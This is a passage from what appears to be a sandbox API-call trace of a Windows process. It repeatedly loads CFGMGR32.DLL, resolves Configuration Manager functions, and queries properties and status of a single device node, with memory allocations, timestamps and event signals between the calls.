_Src=0x20abba7ffd0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.919] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffd8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.919] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffe0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.919] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffe8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.920] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fff0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.920] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79760) returned 1 [0215.921] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0215.922] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.922] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.925] malloc (_Size=0x18) returned 0x20abc281b00 [0215.925] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.928] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c76bd9d, dwHighDateTime=0x1d9eb0c)) [0215.929] SetEvent (hEvent=0x248) returned 1 [0215.933] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.933] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.937] malloc (_Size=0x18) returned 0x20abc281e20 [0215.937] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.938] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c791af9, dwHighDateTime=0x1d9eb0c)) [0215.938] SetEvent (hEvent=0x248) returned 1 [0215.941] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.941] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.946] malloc (_Size=0x18) returned 0x20abc281d40 [0215.946] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.947] malloc (_Size=0x48) returned 0x20abc27cf80 [0215.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c7b8273, dwHighDateTime=0x1d9eb0c)) [0215.947] SetEvent (hEvent=0x248) returned 1 [0216.148] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.148] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.152] malloc (_Size=0x18) returned 0x20abc282080 [0216.153] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.154] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c9a7b26, dwHighDateTime=0x1d9eb0c)) [0216.154] SetEvent (hEvent=0x248) returned 1 [0216.160] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.160] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.160] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.164] malloc (_Size=0x18) returned 0x20abc281960 [0216.164] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0216.168] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c9d16b8, dwHighDateTime=0x1d9eb0c)) [0216.168] SetEvent (hEvent=0x248) returned 1 [0216.171] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.171] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.175] malloc (_Size=0x18) returned 0x20abc281cc0 [0216.175] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x39, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0216.176] malloc (_Size=0x48) returned 0x20abc27cf80 [0216.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3c9d16b8, dwHighDateTime=0x1d9eb0c)) [0216.176] SetEvent (hEvent=0x248) returned 1 [0216.182] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.182] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.186] malloc (_Size=0x18) returned 0x20abc281ae0 [0216.186] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x39, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0216.186] malloc (_Size=0x48) returned 0x20abc27cb20 [0216.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3c9f4e47, dwHighDateTime=0x1d9eb0c)) [0216.187] SetEvent (hEvent=0x248) returned 1 [0216.298] malloc (_Size=0xd8) returned 0x20abc2867b0 [0216.299] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0216.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0216.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0216.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0216.299] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0216.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0216.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0216.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0216.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0216.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0216.300] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0216.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0216.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0216.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0216.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0216.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0216.301] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0216.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0216.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0216.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0216.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0216.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0216.303] malloc (_Size=0x18) returned 0x20abc2820e0 [0216.303] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x39, ulProperty=0xd, 